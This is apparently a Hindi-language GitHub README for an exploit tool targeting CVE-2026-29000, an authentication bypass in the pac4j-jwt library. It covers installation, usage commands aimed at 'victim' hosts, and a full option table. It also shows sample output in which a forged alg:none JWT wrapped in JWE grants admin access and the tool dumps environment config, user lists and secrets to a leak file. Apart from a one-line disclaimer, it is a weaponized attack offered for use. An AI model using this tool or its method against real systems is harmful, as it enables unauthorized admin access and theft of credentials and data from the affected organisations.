
CVE-2026-29000 – pac4j-jwt प्रमाणीकरण बायपास (CVSS 10.0)। सार्वजनिक कुंजी JWE रैपिंग के माध्यम से एक-क्लिक एडमिन फोर्ज। कॉन्फ़िग, उपयोगकर्ता, रहस्य लीक करता है। कीप-अलाइव, प्रॉक्सी, कस्टम JWKS। शैक्षिक PoC एक्सप्लॉइट टूल।
CVE-2026-29000 - JWT alg:none + JWE एन्क्रिप्शन के माध्यम से वन-क्लिक एडमिन फोर्ज
यह एक्सप्लॉइट CVE-2026-29000 का हथियारीकरण करता है, जो pac4j-jwt लाइब्रेरी में एक गंभीर CVSS 10.0 भेद्यता है। सर्वर की सार्वजनिक JWKS कुंजी निकालकर और alg: none के साथ एक एन्क्रिप्टेड JWE टोकन फोर्ज करके, यह पूर्ण प्रमाणीकरण बायपास प्राप्त करता है और एक क्लिक में पूर्ण प्रशासनिक विशेषाधिकार प्रदान करता है।
alg:none JWT बनाता है, सर्वर की अपनी सार्वजनिक कुंजी में लपेटता है| लाइब्रेरी | प्रभावित संस्करण | पैच किए गए संस्करण |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] अस्वीकरण: यह टूल केवल अधिकृत सुरक्षा परीक्षण और रेड-टीम जुड़ाव के लिए है।
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
बेसिक वन-शॉट एक्सप्लॉइट
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
आर्ग्युमेंट शॉर्ट आवश्यक डिफ़ॉल्ट विवरण --target -t हाँ - लक्ष्य URL (जैसे, https://example.com:8443) --jwks -k नहीं auto-detect कस्टम JWKS एंडपॉइंट पाथ --output -o नहीं None फ़ोर्ज्ड JWE टोकन को फ़ाइल में सहेजें --leak -l नहीं leaked_TIMESTAMP.txt लीक हुए डेटा को फ़ाइल में सहेजें --verbose -v नहीं False डीबग आउटपुट सक्षम करें --proxy -p नहीं None HTTP/HTTPS प्रॉक्सी --user-agent -ua नहीं Mozilla/5.0... कस्टम User-Agent --no-keep-alive - नहीं False सेशन keep-alive अक्षम करें --delay - नहीं 5.0 Keep-alive पिंग अंतराल (सेकंड) --max-retries - नहीं 3 प्रति विफल अनुरोध अधिकतम पुनःप्रयास --ssl-verify - नहीं False SSL प्रमाणपत्र सत्यापित करें
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] चरण 1: JWKS से RSA सार्वजनिक कुंजी प्राप्त करना [11:23:15] JWKS एंडपॉइंट की जाँच की जा रही है... [11:23:16] /realms/master/protocol/openid-connect/certs पर JWKS मिला [11:23:16] RSA सार्वजनिक कुंजी सफलतापूर्वक निकाली गई
[11:23:16] चरण 2: alg:none के साथ JWT बनाना और उसे JWE में एन्क्रिप्ट करना [11:23:16] नकली JWE टोकन (संक्षिप्त): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ टोकन backdoor.jwe में सहेजा गया
[11:23:16] चरण 3: नकली JWE को Bearer टोकन के रूप में भेजना [11:23:17] ✓ प्रमाणीकरण सफल! /api/users/me तक पहुँच प्रदान की गई
[11:23:17] चरण 4: सुलभ एंडपॉइंट्स की गणना करना और संवेदनशील डेटा उजागर करना [11:23:18] ✓ लीक हुआ: /actuator/env (स्थिति 200) [11:23:18] ✓ लीक हुआ: /api/users (स्थिति 200) [11:23:18] ✓ लीक हुआ: /api/secrets (स्थिति 200) [11:23:18] ✓ लीक हुआ: /config/server (स्थिति 200) [11:23:18] ✓ 4 संवेदनशील एंडपॉइंट्स कैप्चर किए गए → leak.txt में सहेजे गए
[11:23:18] कीप-अलाइव सत्र सक्रिय (रोकने के लिए Ctrl+C दबाएँ) [11:23:18] टोकन (JWE) ~1 घंटे के लिए मान्य – समाप्त होने पर पुनः बनाएँ
मेरे अन्य एक्सप्लॉइट रिपॉज़िटरी देखें: